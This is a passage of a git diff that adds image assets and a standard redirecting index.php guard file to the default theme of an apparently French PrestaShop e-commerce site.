b/themes/default/img/block_bg_myaccount.jpg differ diff --git a/themes/default/img/block_category_item_bg.jpg b/themes/default/img/block_category_item_bg.jpg new file mode 100755 index 0000000..cd1d8bf Binary files /dev/null and b/themes/default/img/block_category_item_bg.jpg differ diff --git a/themes/default/img/block_exclusive_bg.jpg b/themes/default/img/block_exclusive_bg.jpg new file mode 100755 index 0000000..0c2ee9f Binary files /dev/null and b/themes/default/img/block_exclusive_bg.jpg differ diff --git a/themes/default/img/block_exclusive_footer.jpg b/themes/default/img/block_exclusive_footer.jpg new file mode 100755 index 0000000..d6891dd Binary files /dev/null and b/themes/default/img/block_exclusive_footer.jpg differ diff --git a/themes/default/img/block_footer.gif b/themes/default/img/block_footer.gif new file mode 100755 index 0000000..47c8de4 Binary files /dev/null and b/themes/default/img/block_footer.gif differ diff --git a/themes/default/img/block_footer.png b/themes/default/img/block_footer.png new file mode 100755 index 0000000..dc055ec Binary files /dev/null and b/themes/default/img/block_footer.png differ diff --git a/themes/default/img/block_footer_myaccount.jpg b/themes/default/img/block_footer_myaccount.jpg new file mode 100755 index 0000000..84df35e Binary files /dev/null and b/themes/default/img/block_footer_myaccount.jpg differ diff --git a/themes/default/img/block_footer_page.gif b/themes/default/img/block_footer_page.gif new file mode 100755 index 0000000..f0e8c1a Binary files /dev/null and b/themes/default/img/block_footer_page.gif differ diff --git a/themes/default/img/block_footer_page_footer.png b/themes/default/img/block_footer_page_footer.png new file mode 100755 index 0000000..3494007 Binary files /dev/null and b/themes/default/img/block_footer_page_footer.png differ diff --git a/themes/default/img/block_header.gif b/themes/default/img/block_header.gif new file mode 100755 index 0000000..98a450a Binary files /dev/null and b/themes/default/img/block_header.gif differ diff --git a/themes/default/img/block_header.png b/themes/default/img/block_header.png new file mode 100755 index 0000000..3dbdc2c Binary files /dev/null and b/themes/default/img/block_header.png differ diff --git a/themes/default/img/block_header_exclusive.gif b/themes/default/img/block_header_exclusive.gif new file mode 100755 index 0000000..da1bacd Binary files /dev/null and b/themes/default/img/block_header_exclusive.gif differ diff --git a/themes/default/img/block_header_exclusive.png b/themes/default/img/block_header_exclusive.png new file mode 100755 index 0000000..c19ec41 Binary files /dev/null and b/themes/default/img/block_header_exclusive.png differ diff --git a/themes/default/img/block_header_exclusive_cart.gif b/themes/default/img/block_header_exclusive_cart.gif new file mode 100755 index 0000000..8315b8c Binary files /dev/null and b/themes/default/img/block_header_exclusive_cart.gif differ diff --git a/themes/default/img/block_header_exclusive_cart.png b/themes/default/img/block_header_exclusive_cart.png new file mode 100755 index 0000000..26add9e Binary files /dev/null and b/themes/default/img/block_header_exclusive_cart.png differ diff --git a/themes/default/img/block_header_large.gif b/themes/default/img/block_header_large.gif new file mode 100755 index 0000000..cb40b74 Binary files /dev/null and b/themes/default/img/block_header_large.gif differ diff --git a/themes/default/img/block_header_large.png b/themes/default/img/block_header_large.png new file mode 100755 index 0000000..b0d5701 Binary files /dev/null and b/themes/default/img/block_header_large.png differ diff --git a/themes/default/img/block_header_myaccount.jpg b/themes/default/img/block_header_myaccount.jpg new file mode 100755 index 0000000..9af1a82 Binary files /dev/null and b/themes/default/img/block_header_myaccount.jpg differ diff --git a/themes/default/img/block_languages_top_p_bg.png b/themes/default/img/block_languages_top_p_bg.png new file mode 100755 index 0000000..8f6d152 Binary files /dev/null and b/themes/default/img/block_languages_top_p_bg.png differ diff --git a/themes/default/img/block_myaccount_header_large.gif b/themes/default/img/block_myaccount_header_large.gif new file mode 100755 index 0000000..298636e Binary files /dev/null and b/themes/default/img/block_myaccount_header_large.gif differ diff --git a/themes/default/img/block_search_bg.jpg b/themes/default/img/block_search_bg.jpg new file mode 100755 index 0000000..b496335 Binary files /dev/null and b/themes/default/img/block_search_bg.jpg differ diff --git a/themes/default/img/blog_title.png b/themes/default/img/blog_title.png new file mode 100755 index 0000000..007d7d8 Binary files /dev/null and b/themes/default/img/blog_title.png differ diff --git a/themes/default/img/blog_title_2.png b/themes/default/img/blog_title_2.png new file mode 100755 index 0000000..eca7f96 Binary files /dev/null and b/themes/default/img/blog_title_2.png differ diff --git a/themes/default/img/blog_title_3.png b/themes/default/img/blog_title_3.png new file mode 100755 index 0000000..2911fda Binary files /dev/null and b/themes/default/img/blog_title_3.png differ diff --git a/themes/default/img/btFlecheBack.png b/themes/default/img/btFlecheBack.png new file mode 100755 index 0000000..4670f71 Binary files /dev/null and b/themes/default/img/btFlecheBack.png differ diff --git a/themes/default/img/btItineraire.png b/themes/default/img/btItineraire.png new file mode 100755 index 0000000..761d783 Binary files /dev/null and b/themes/default/img/btItineraire.png differ diff --git a/themes/default/img/btPaypal.png b/themes/default/img/btPaypal.png new file mode 100755 index 0000000..3694e3d Binary files /dev/null and b/themes/default/img/btPaypal.png differ diff --git a/themes/default/img/btPaypal_mobile.png b/themes/default/img/btPaypal_mobile.png new file mode 100755 index 0000000..6d1d7b0 Binary files /dev/null and b/themes/default/img/btPaypal_mobile.png differ diff --git a/themes/default/img/btPlus.png b/themes/default/img/btPlus.png new file mode 100755 index 0000000..dcae0d9 Binary files /dev/null and b/themes/default/img/btPlus.png differ diff --git a/themes/default/img/bullet.gif b/themes/default/img/bullet.gif new file mode 100755 index 0000000..e8aaa9e Binary files /dev/null and b/themes/default/img/bullet.gif differ diff --git a/themes/default/img/bullet_alt.jpg b/themes/default/img/bullet_alt.jpg new file mode 100755 index 0000000..99fb424 Binary files /dev/null and b/themes/default/img/bullet_alt.jpg differ diff --git a/themes/default/img/bullet_myaccount.gif b/themes/default/img/bullet_myaccount.gif new file mode 100755 index 0000000..e7f9e25 Binary files /dev/null and b/themes/default/img/bullet_myaccount.gif differ diff --git a/themes/default/img/bullet_price.gif b/themes/default/img/bullet_price.gif new file mode 100755 index 0000000..b4a0ef3 Binary files /dev/null and b/themes/default/img/bullet_price.gif differ diff --git a/themes/default/img/button-account-large.gif b/themes/default/img/button-account-large.gif new file mode 100755 index 0000000..ffb3117 Binary files /dev/null and b/themes/default/img/button-account-large.gif differ diff --git a/themes/default/img/button-account-mini.gif b/themes/default/img/button-account-mini.gif new file mode 100755 index 0000000..97cc173 Binary files /dev/null and b/themes/default/img/button-account-mini.gif differ diff --git a/themes/default/img/button-account-small.gif b/themes/default/img/button-account-small.gif new file mode 100755 index 0000000..aa6aa73 Binary files /dev/null and b/themes/default/img/button-account-small.gif differ diff --git a/themes/default/img/button-account.gif b/themes/default/img/button-account.gif new file mode 100755 index 0000000..8b42394 Binary files /dev/null and b/themes/default/img/button-account.gif differ diff --git a/themes/default/img/button-large.gif b/themes/default/img/button-large.gif new file mode 100755 index 0000000..b1a2bcd Binary files /dev/null and b/themes/default/img/button-large.gif differ diff --git a/themes/default/img/button-large.png b/themes/default/img/button-large.png new file mode 100755 index 0000000..cdc6cb6 Binary files /dev/null and b/themes/default/img/button-large.png differ diff --git a/themes/default/img/button-large_exclusive.gif b/themes/default/img/button-large_exclusive.gif new file mode 100755 index 0000000..ba5cc30 Binary files /dev/null and b/themes/default/img/button-large_exclusive.gif differ diff --git a/themes/default/img/button-medium.gif b/themes/default/img/button-medium.gif new file mode 100755 index 0000000..cf42951 Binary files /dev/null and b/themes/default/img/button-medium.gif differ diff --git a/themes/default/img/button-medium.png b/themes/default/img/button-medium.png new file mode 100755 index 0000000..061df60 Binary files /dev/null and b/themes/default/img/button-medium.png differ diff --git a/themes/default/img/button-medium_exclusive.gif b/themes/default/img/button-medium_exclusive.gif new file mode 100755 index 0000000..ebe6709 Binary files /dev/null and b/themes/default/img/button-medium_exclusive.gif differ diff --git a/themes/default/img/button-medium_exclusive.png b/themes/default/img/button-medium_exclusive.png new file mode 100755 index 0000000..372681e Binary files /dev/null and b/themes/default/img/button-medium_exclusive.png differ diff --git a/themes/default/img/button-mini.gif b/themes/default/img/button-mini.gif new file mode 100755 index 0000000..53cc956 Binary files /dev/null and b/themes/default/img/button-mini.gif differ diff --git a/themes/default/img/button-mini.png b/themes/default/img/button-mini.png new file mode 100755 index 0000000..8035b7f Binary files /dev/null and b/themes/default/img/button-mini.png differ diff --git a/themes/default/img/button-mini_exclusive.gif b/themes/default/img/button-mini_exclusive.gif new file mode 100755 index 0000000..e798888 Binary files /dev/null and b/themes/default/img/button-mini_exclusive.gif differ diff --git a/themes/default/img/button-small.gif b/themes/default/img/button-small.gif new file mode 100755 index 0000000..998f601 Binary files /dev/null and b/themes/default/img/button-small.gif differ diff --git a/themes/default/img/button-small.png b/themes/default/img/button-small.png new file mode 100755 index 0000000..16f58d0 Binary files /dev/null and b/themes/default/img/button-small.png differ diff --git a/themes/default/img/button-small_exclusive.gif b/themes/default/img/button-small_exclusive.gif new file mode 100755 index 0000000..c56c233 Binary files /dev/null and b/themes/default/img/button-small_exclusive.gif differ diff --git a/themes/default/img/cadreAccount.png b/themes/default/img/cadreAccount.png new file mode 100755 index 0000000..edca345 Binary files /dev/null and b/themes/default/img/cadreAccount.png differ diff --git a/themes/default/img/categoriesFleche.png b/themes/default/img/categoriesFleche.png new file mode 100755 index 0000000..35cb835 Binary files /dev/null and b/themes/default/img/categoriesFleche.png differ diff --git a/themes/default/img/categoriesFlecheVerte.png b/themes/default/img/categoriesFlecheVerte.png new file mode 100755 index 0000000..d1b1bb5 Binary files /dev/null and b/themes/default/img/categoriesFlecheVerte.png differ diff --git a/themes/default/img/col-puce-black.png b/themes/default/img/col-puce-black.png new file mode 100755 index 0000000..f76797a Binary files /dev/null and b/themes/default/img/col-puce-black.png differ diff --git a/themes/default/img/col-puce.png b/themes/default/img/col-puce.png new file mode 100755 index 0000000..a90dbfc Binary files /dev/null and b/themes/default/img/col-puce.png differ diff --git a/themes/default/img/delivery_option.png b/themes/default/img/delivery_option.png new file mode 100755 index 0000000..0857f5b Binary files /dev/null and b/themes/default/img/delivery_option.png differ diff --git a/themes/default/img/delivery_option_small.png b/themes/default/img/delivery_option_small.png new file mode 100755 index 0000000..e2f4f53 Binary files /dev/null and b/themes/default/img/delivery_option_small.png differ diff --git a/themes/default/img/diag-black-star.png b/themes/default/img/diag-black-star.png new file mode 100755 index 0000000..85c9517 Binary files /dev/null and b/themes/default/img/diag-black-star.png differ diff --git a/themes/default/img/diag-checkbox-checked.png b/themes/default/img/diag-checkbox-checked.png new file mode 100755 index 0000000..199bd41 Binary files /dev/null and b/themes/default/img/diag-checkbox-checked.png differ diff --git a/themes/default/img/diag-checkbox.png b/themes/default/img/diag-checkbox.png new file mode 100755 index 0000000..345385e Binary files /dev/null and b/themes/default/img/diag-checkbox.png differ diff --git a/themes/default/img/diagCurseur.png b/themes/default/img/diagCurseur.png new file mode 100755 index 0000000..59dde33 Binary files /dev/null and b/themes/default/img/diagCurseur.png differ diff --git a/themes/default/img/diagCurseurBar.png b/themes/default/img/diagCurseurBar.png new file mode 100755 index 0000000..21b36d5 Binary files /dev/null and b/themes/default/img/diagCurseurBar.png differ diff --git a/themes/default/img/diagEtoile.png b/themes/default/img/diagEtoile.png new file mode 100755 index 0000000..620e241 Binary files /dev/null and b/themes/default/img/diagEtoile.png differ diff --git a/themes/default/img/diagFleche.png b/themes/default/img/diagFleche.png new file mode 100755 index 0000000..90bddda Binary files /dev/null and b/themes/default/img/diagFleche.png differ diff --git a/themes/default/img/diagFlecheSmall.png b/themes/default/img/diagFlecheSmall.png new file mode 100755 index 0000000..1179a72 Binary files /dev/null and b/themes/default/img/diagFlecheSmall.png differ diff --git a/themes/default/img/diagMore.png b/themes/default/img/diagMore.png new file mode 100755 index 0000000..3c528fb Binary files /dev/null and b/themes/default/img/diagMore.png differ diff --git a/themes/default/img/diagTiroir.jpg b/themes/default/img/diagTiroir.jpg new file mode 100755 index 0000000..c6d0ddf Binary files /dev/null and b/themes/default/img/diagTiroir.jpg differ diff --git a/themes/default/img/diagless.png b/themes/default/img/diagless.png new file mode 100755 index 0000000..ea532da Binary files /dev/null and b/themes/default/img/diagless.png differ diff --git a/themes/default/img/diagnostic.png b/themes/default/img/diagnostic.png new file mode 100644 index 0000000..1e6b263 Binary files /dev/null and b/themes/default/img/diagnostic.png differ diff --git a/themes/default/img/diagnosticMiniStep.png b/themes/default/img/diagnosticMiniStep.png new file mode 100755 index 0000000..135f7be Binary files /dev/null and b/themes/default/img/diagnosticMiniStep.png differ diff --git a/themes/default/img/diagnosticMiniStepSelected.png b/themes/default/img/diagnosticMiniStepSelected.png new file mode 100755 index 0000000..941dcd6 Binary files /dev/null and b/themes/default/img/diagnosticMiniStepSelected.png differ diff --git a/themes/default/img/diagnosticSteps.jpg b/themes/default/img/diagnosticSteps.jpg new file mode 100755 index 0000000..10001a6 Binary files /dev/null and b/themes/default/img/diagnosticSteps.jpg differ diff --git a/themes/default/img/diagnosticSteps.png b/themes/default/img/diagnosticSteps.png new file mode 100755 index 0000000..f543753 Binary files /dev/null and b/themes/default/img/diagnosticSteps.png differ diff --git a/themes/default/img/echantillonMasque.png b/themes/default/img/echantillonMasque.png new file mode 100755 index 0000000..0e8cb43 Binary files /dev/null and b/themes/default/img/echantillonMasque.png differ diff --git a/themes/default/img/etoileLi.png b/themes/default/img/etoileLi.png new file mode 100755 index 0000000..e3f1cab Binary files /dev/null and b/themes/default/img/etoileLi.png differ diff --git a/themes/default/img/fbEnvoyer.jpg b/themes/default/img/fbEnvoyer.jpg new file mode 100755 index 0000000..7d78d8d Binary files /dev/null and b/themes/default/img/fbEnvoyer.jpg differ diff --git a/themes/default/img/flag_new_bg.jpg b/themes/default/img/flag_new_bg.jpg new file mode 100755 index 0000000..7a5e684 Binary files /dev/null and b/themes/default/img/flag_new_bg.jpg differ diff --git a/themes/default/img/fleche.png b/themes/default/img/fleche.png new file mode 100755 index 0000000..ed781d5 Binary files /dev/null and b/themes/default/img/fleche.png differ diff --git a/themes/default/img/flecheGrise.png b/themes/default/img/flecheGrise.png new file mode 100755 index 0000000..f3bdd3f Binary files /dev/null and b/themes/default/img/flecheGrise.png differ diff --git a/themes/default/img/flecheMyAccount.png b/themes/default/img/flecheMyAccount.png new file mode 100755 index 0000000..51a7c67 Binary files /dev/null and b/themes/default/img/flecheMyAccount.png differ diff --git a/themes/default/img/fondH3.png b/themes/default/img/fondH3.png new file mode 100755 index 0000000..d8011c1 Binary files /dev/null and b/themes/default/img/fondH3.png differ diff --git a/themes/default/img/footerPharmacie.png b/themes/default/img/footerPharmacie.png new file mode 100755 index 0000000..cfb65a6 Binary files /dev/null and b/themes/default/img/footerPharmacie.png differ diff --git a/themes/default/img/footerSocial.png b/themes/default/img/footerSocial.png new file mode 100755 index 0000000..8467ba3 Binary files /dev/null and b/themes/default/img/footerSocial.png differ diff --git a/themes/default/img/footer_account.gif b/themes/default/img/footer_account.gif new file mode 100755 index 0000000..f8126d0 Binary files /dev/null and b/themes/default/img/footer_account.gif differ diff --git a/themes/default/img/form-input-bg.gif b/themes/default/img/form-input-bg.gif new file mode 100755 index 0000000..5aca1c7 Binary files /dev/null and b/themes/default/img/form-input-bg.gif differ diff --git a/themes/default/img/form_bg.jpg b/themes/default/img/form_bg.jpg new file mode 100755 index 0000000..9808596 Binary files /dev/null and b/themes/default/img/form_bg.jpg differ diff --git a/themes/default/img/giftAllowed.jpg b/themes/default/img/giftAllowed.jpg new file mode 100755 index 0000000..4a2a172 Binary files /dev/null and b/themes/default/img/giftAllowed.jpg differ diff --git a/themes/default/img/giftAllowed.png b/themes/default/img/giftAllowed.png new file mode 100755 index 0000000..328cb83 Binary files /dev/null and b/themes/default/img/giftAllowed.png differ diff --git a/themes/default/img/giftAllowed2.jpg b/themes/default/img/giftAllowed2.jpg new file mode 100755 index 0000000..2b01f77 Binary files /dev/null and b/themes/default/img/giftAllowed2.jpg differ diff --git a/themes/default/img/grade1.png b/themes/default/img/grade1.png new file mode 100755 index 0000000..8e7d7bc Binary files /dev/null and b/themes/default/img/grade1.png differ diff --git a/themes/default/img/grade2.png b/themes/default/img/grade2.png new file mode 100755 index 0000000..a6390e6 Binary files /dev/null and b/themes/default/img/grade2.png differ diff --git a/themes/default/img/grade3.png b/themes/default/img/grade3.png new file mode 100755 index 0000000..6255cc0 Binary files /dev/null and b/themes/default/img/grade3.png differ diff --git a/themes/default/img/grade4.png b/themes/default/img/grade4.png new file mode 100755 index 0000000..e08c45b Binary files /dev/null and b/themes/default/img/grade4.png differ diff --git a/themes/default/img/grade5.png b/themes/default/img/grade5.png new file mode 100755 index 0000000..92e5e23 Binary files /dev/null and b/themes/default/img/grade5.png differ diff --git a/themes/default/img/gray_next.png b/themes/default/img/gray_next.png new file mode 100755 index 0000000..0f627e7 Binary files /dev/null and b/themes/default/img/gray_next.png differ diff --git a/themes/default/img/gray_prev.png b/themes/default/img/gray_prev.png new file mode 100755 index 0000000..a7bfa9a Binary files /dev/null and b/themes/default/img/gray_prev.png differ diff --git a/themes/default/img/headerInfos.jpg b/themes/default/img/headerInfos.jpg new file mode 100755 index 0000000..ce719d9 Binary files /dev/null and b/themes/default/img/headerInfos.jpg differ diff --git a/themes/default/img/headerNewsletter.png b/themes/default/img/headerNewsletter.png new file mode 100755 index 0000000..d7bfdb4 Binary files /dev/null and b/themes/default/img/headerNewsletter.png differ diff --git a/themes/default/img/header_account.gif b/themes/default/img/header_account.gif new file mode 100755 index 0000000..082590b Binary files /dev/null and b/themes/default/img/header_account.gif differ diff --git a/themes/default/img/homeTxt.png b/themes/default/img/homeTxt.png new file mode 100755 index 0000000..b961602 Binary files /dev/null and b/themes/default/img/homeTxt.png differ diff --git a/themes/default/img/homeTxtA.png b/themes/default/img/homeTxtA.png new file mode 100755 index 0000000..15ff4a5 Binary files /dev/null and b/themes/default/img/homeTxtA.png differ diff --git a/themes/default/img/homeblock1.png b/themes/default/img/homeblock1.png new file mode 100755 index 0000000..42afa99 Binary files /dev/null and b/themes/default/img/homeblock1.png differ diff --git a/themes/default/img/homeblock2.png b/themes/default/img/homeblock2.png new file mode 100755 index 0000000..a81ed6b Binary files /dev/null and b/themes/default/img/homeblock2.png differ diff --git a/themes/default/img/homeblockFleche1.png b/themes/default/img/homeblockFleche1.png new file mode 100755 index 0000000..923d60a Binary files /dev/null and b/themes/default/img/homeblockFleche1.png differ diff --git a/themes/default/img/homeblockFleche2.png b/themes/default/img/homeblockFleche2.png new file mode 100755 index 0000000..dd3eb80 Binary files /dev/null and b/themes/default/img/homeblockFleche2.png differ diff --git a/themes/default/img/hook_paiement_blockBot.png b/themes/default/img/hook_paiement_blockBot.png new file mode 100755 index 0000000..cec920d Binary files /dev/null and b/themes/default/img/hook_paiement_blockBot.png differ diff --git a/themes/default/img/hook_paiement_blockRepeat.png b/themes/default/img/hook_paiement_blockRepeat.png new file mode 100755 index 0000000..1b50b1c Binary files /dev/null and b/themes/default/img/hook_paiement_blockRepeat.png differ diff --git a/themes/default/img/hook_paiement_blockTop.png b/themes/default/img/hook_paiement_blockTop.png new file mode 100755 index 0000000..3c7e871 Binary files /dev/null and b/themes/default/img/hook_paiement_blockTop.png differ diff --git a/themes/default/img/hook_paiement_module.png b/themes/default/img/hook_paiement_module.png new file mode 100755 index 0000000..6a1980a Binary files /dev/null and b/themes/default/img/hook_paiement_module.png differ diff --git a/themes/default/img/icon/add.gif b/themes/default/img/icon/add.gif new file mode 100755 index 0000000..df08c0b Binary files /dev/null and b/themes/default/img/icon/add.gif differ diff --git a/themes/default/img/icon/addrbook.gif b/themes/default/img/icon/addrbook.gif new file mode 100755 index 0000000..bc332c9 Binary files /dev/null and b/themes/default/img/icon/addrbook.gif differ diff --git a/themes/default/img/icon/available.gif b/themes/default/img/icon/available.gif new file mode 100755 index 0000000..3f93c6a Binary files /dev/null and b/themes/default/img/icon/available.gif differ diff --git a/themes/default/img/icon/bg_header_user_info_a.gif b/themes/default/img/icon/bg_header_user_info_a.gif new file mode 100755 index 0000000..5ded482 Binary files /dev/null and b/themes/default/img/icon/bg_header_user_info_a.gif differ diff --git a/themes/default/img/icon/cancel.gif b/themes/default/img/icon/cancel.gif new file mode 100755 index 0000000..fc4c2ce Binary files /dev/null and b/themes/default/img/icon/cancel.gif differ diff --git a/themes/default/img/icon/cancel_11x13.gif b/themes/default/img/icon/cancel_11x13.gif new file mode 100755 index 0000000..12af567 Binary files /dev/null and b/themes/default/img/icon/cancel_11x13.gif differ diff --git a/themes/default/img/icon/cancel_16x18.gif b/themes/default/img/icon/cancel_16x18.gif new file mode 100755 index 0000000..64a59b2 Binary files /dev/null and b/themes/default/img/icon/cancel_16x18.gif differ diff --git a/themes/default/img/icon/cart.gif b/themes/default/img/icon/cart.gif new file mode 100755 index 0000000..d9b4976 Binary files /dev/null and b/themes/default/img/icon/cart.gif differ diff --git a/themes/default/img/icon/cible.gif b/themes/default/img/icon/cible.gif new file mode 100755 index 0000000..d50ec7c Binary files /dev/null and b/themes/default/img/icon/cible.gif differ diff --git a/themes/default/img/icon/contact.gif b/themes/default/img/icon/contact.gif new file mode 100755 index 0000000..72f1de6 Binary files /dev/null and b/themes/default/img/icon/contact.gif differ diff --git a/themes/default/img/icon/delete.gif b/themes/default/img/icon/delete.gif new file mode 100755 index 0000000..6d186d1 Binary files /dev/null and b/themes/default/img/icon/delete.gif differ diff --git a/themes/default/img/icon/download_product.gif b/themes/default/img/icon/download_product.gif new file mode 100755 index 0000000..f25a612 Binary files /dev/null and b/themes/default/img/icon/download_product.gif differ diff --git a/themes/default/img/icon/error.gif b/themes/default/img/icon/error.gif new file mode 100755 index 0000000..8167058 Binary files /dev/null and b/themes/default/img/icon/error.gif differ diff --git a/themes/default/img/icon/gift.gif b/themes/default/img/icon/gift.gif new file mode 100755 index 0000000..d190831 Binary files /dev/null and b/themes/default/img/icon/gift.gif differ diff --git a/themes/default/img/icon/home.gif b/themes/default/img/icon/home.gif new file mode 100755 index 0000000..0826210 Binary files /dev/null and b/themes/default/img/icon/home.gif differ diff --git a/themes/default/img/icon/index.php b/themes/default/img/icon/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/img/icon/info.png b/themes/default/img/icon/info.png new file mode 100755 index 0000000..733ab31 Binary files /dev/null and b/themes/default/img/icon/info.png differ diff --git a/themes/default/img/icon/infos.gif b/themes/default/img/icon/infos.gif new file mode 100755 index 0000000..12cd1ae Binary files /dev/null and b/themes/default/img/icon/infos.gif differ diff --git a/themes/default/img/icon/less.gif b/themes/default/img/icon/less.gif new file mode 100755 index 0000000..52928a2 Binary files /dev/null and b/themes/default/img/icon/less.gif differ diff --git a/themes/default/img/icon/login.gif b/themes/default/img/icon/login.gif new file mode 100755 index 0000000..5ded482 Binary files /dev/null and b/themes/default/img/icon/login.gif differ diff --git a/themes/default/img/icon/logo.gif b/themes/default/img/icon/logo.gif new file mode 100755 index 0000000..15471af Binary files /dev/null and b/themes/default/img/icon/logo.gif differ diff --git a/themes/default/img/icon/logout.png b/themes/default/img/icon/logout.png new file mode 100755 index 0000000..9141841 Binary files /dev/null and b/themes/default/img/icon/logout.png differ diff --git a/themes/default/img/icon/magnify.gif b/themes/default/img/icon/magnify.gif new file mode 100755 index 0000000..7bf7077 Binary files /dev/null and b/themes/default/img/icon/magnify.gif differ diff --git a/themes/default/img/icon/more.gif b/themes/default/img/icon/more.gif new file mode 100755 index 0000000..072e49d Binary files /dev/null and b/themes/default/img/icon/more.gif differ diff --git a/themes/default/img/icon/my-account.gif b/themes/default/img/icon/my-account.gif new file mode 100755 index 0000000..537bb59 Binary files /dev/null and b/themes/default/img/icon/my-account.gif differ diff --git a/themes/default/img/icon/newsletter.png b/themes/default/img/icon/newsletter.png new file mode 100755 index 0000000..2901122 Binary files /dev/null and b/themes/default/img/icon/newsletter.png differ diff --git a/themes/default/img/icon/next.gif b/themes/default/img/icon/next.gif new file mode 100755 index 0000000..a4e0846 Binary files /dev/null and b/themes/default/img/icon/next.gif differ diff --git a/themes/default/img/icon/no.gif b/themes/default/img/icon/no.gif new file mode 100755 index 0000000..3fdeb63 Binary files /dev/null and b/themes/default/img/icon/no.gif differ diff --git a/themes/default/img/icon/order.gif b/themes/default/img/icon/order.gif new file mode 100755 index 0000000..42bc909 Binary files /dev/null and b/themes/default/img/icon/order.gif differ diff --git a/themes/default/img/icon/pdf.gif b/themes/default/img/icon/pdf.gif new file mode 100755 index 0000000..d5d9488 Binary files /dev/null and b/themes/default/img/icon/pdf.gif differ diff --git a/themes/default/img/icon/pict_add_cart.png b/themes/default/img/icon/pict_add_cart.png new file mode 100755 index 0000000..10f70f8 Binary files /dev/null and b/themes/default/img/icon/pict_add_cart.png differ diff --git a/themes/default/img/icon/pict_add_wishlist.png b/themes/default/img/icon/pict_add_wishlist.png new file mode 100755 index 0000000..924368e Binary files /dev/null and b/themes/default/img/icon/pict_add_wishlist.png differ diff --git a/themes/default/img/icon/picto_fb.png b/themes/default/img/icon/picto_fb.png new file mode 100755 index 0000000..30028f5 Binary files /dev/null and b/themes/default/img/icon/picto_fb.png differ diff --git a/themes/default/img/icon/previous.gif b/themes/default/img/icon/previous.gif new file mode 100755 index 0000000..aa59060 Binary files /dev/null and b/themes/default/img/icon/previous.gif differ diff --git a/themes/default/img/icon/print.gif b/themes/default/img/icon/print.gif new file mode 100755 index 0000000..20c449b Binary files /dev/null and b/themes/default/img/icon/print.gif differ diff --git a/themes/default/img/icon/quantity_down.gif b/themes/default/img/icon/quantity_down.gif new file mode 100755 index 0000000..7a82706 Binary files /dev/null and b/themes/default/img/icon/quantity_down.gif differ diff --git a/themes/default/img/icon/quantity_down_off.gif b/themes/default/img/icon/quantity_down_off.gif new file mode 100755 index 0000000..fe6de30 Binary files /dev/null and b/themes/default/img/icon/quantity_down_off.gif differ diff --git a/themes/default/img/icon/quantity_up.gif b/themes/default/img/icon/quantity_up.gif new file mode 100755 index 0000000..3c2dcce Binary files /dev/null and b/themes/default/img/icon/quantity_up.gif differ diff --git a/themes/default/img/icon/recyclable.gif b/themes/default/img/icon/recyclable.gif new file mode 100755 index 0000000..1d5dcd2 Binary files /dev/null and b/themes/default/img/icon/recyclable.gif differ diff --git a/themes/default/img/icon/return.gif b/themes/default/img/icon/return.gif new file mode 100755 index 0000000..84cb653 Binary files /dev/null and b/themes/default/img/icon/return.gif differ diff --git a/themes/default/img/icon/search.gif b/themes/default/img/icon/search.gif new file mode 100755 index 0000000..e32a989 Binary files /dev/null and b/themes/default/img/icon/search.gif differ diff --git a/themes/default/img/icon/send_friend.gif b/themes/default/img/icon/send_friend.gif new file mode 100755 index 0000000..96ffb07 Binary files /dev/null and b/themes/default/img/icon/send_friend.gif differ diff --git a/themes/default/img/icon/serial_scroll_left.gif b/themes/default/img/icon/serial_scroll_left.gif new file mode 100755 index 0000000..c3cc9e2 Binary files /dev/null and b/themes/default/img/icon/serial_scroll_left.gif differ diff --git a/themes/default/img/icon/serial_scroll_right.gif b/themes/default/img/icon/serial_scroll_right.gif new file mode 100755 index 0000000..653f337 Binary files /dev/null and b/themes/default/img/icon/serial_scroll_right.gif differ diff --git a/themes/default/img/icon/sitemap.gif b/themes/default/img/icon/sitemap.gif new file mode 100755 index 0000000..594afa5 Binary files /dev/null and b/themes/default/img/icon/sitemap.gif differ diff --git a/themes/default/img/icon/slip.gif b/themes/default/img/icon/slip.gif new file mode 100755 index 0000000..1341912 Binary files /dev/null and b/themes/default/img/icon/slip.gif differ diff --git a/themes/default/img/icon/sort_asc.gif b/themes/default/img/icon/sort_asc.gif new file mode 100755 index 0000000..6734510 Binary files /dev/null and b/themes/default/img/icon/sort_asc.gif differ diff --git a/themes/default/img/icon/sort_asc_disabled.gif b/themes/default/img/icon/sort_asc_disabled.gif new file mode 100755 index 0000000..c86a9a6 Binary files /dev/null and b/themes/default/img/icon/sort_asc_disabled.gif differ diff --git a/themes/default/img/icon/sort_asc_white.gif b/themes/default/img/icon/sort_asc_white.gif new file mode 100755 index 0000000..9768c86 Binary files /dev/null and b/themes/default/img/icon/sort_asc_white.gif differ diff --git a/themes/default/img/icon/sort_asc_white.png b/themes/default/img/icon/sort_asc_white.png new file mode 100755 index 0000000..d73f00a Binary files /dev/null and b/themes/default/img/icon/sort_asc_white.png differ diff --git a/themes/default/img/icon/sort_desc.gif b/themes/default/img/icon/sort_desc.gif new file mode 100755 index 0000000..f806d85 Binary files /dev/null and b/themes/default/img/icon/sort_desc.gif differ diff --git a/themes/default/img/icon/sort_desc_disabled.gif b/themes/default/img/icon/sort_desc_disabled.gif new file mode 100755 index 0000000..6ddb4ab Binary files /dev/null and b/themes/default/img/icon/sort_desc_disabled.gif differ diff --git a/themes/default/img/icon/sort_desc_white.gif b/themes/default/img/icon/sort_desc_white.gif new file mode 100755 index 0000000..8c00b93 Binary files /dev/null and b/themes/default/img/icon/sort_desc_white.gif differ diff --git a/themes/default/img/icon/sort_desc_white.png b/themes/default/img/icon/sort_desc_white.png new file mode 100755 index 0000000..12b1a2a Binary files /dev/null and b/themes/default/img/icon/sort_desc_white.png differ diff --git a/themes/default/img/icon/star.gif b/themes/default/img/icon/star.gif new file mode 100755 index 0000000..6d647b4 Binary files /dev/null and b/themes/default/img/icon/star.gif differ diff --git a/themes/default/img/icon/unavailable.gif b/themes/default/img/icon/unavailable.gif new file mode 100755 index 0000000..4356d4f Binary files /dev/null and b/themes/default/img/icon/unavailable.gif differ diff --git 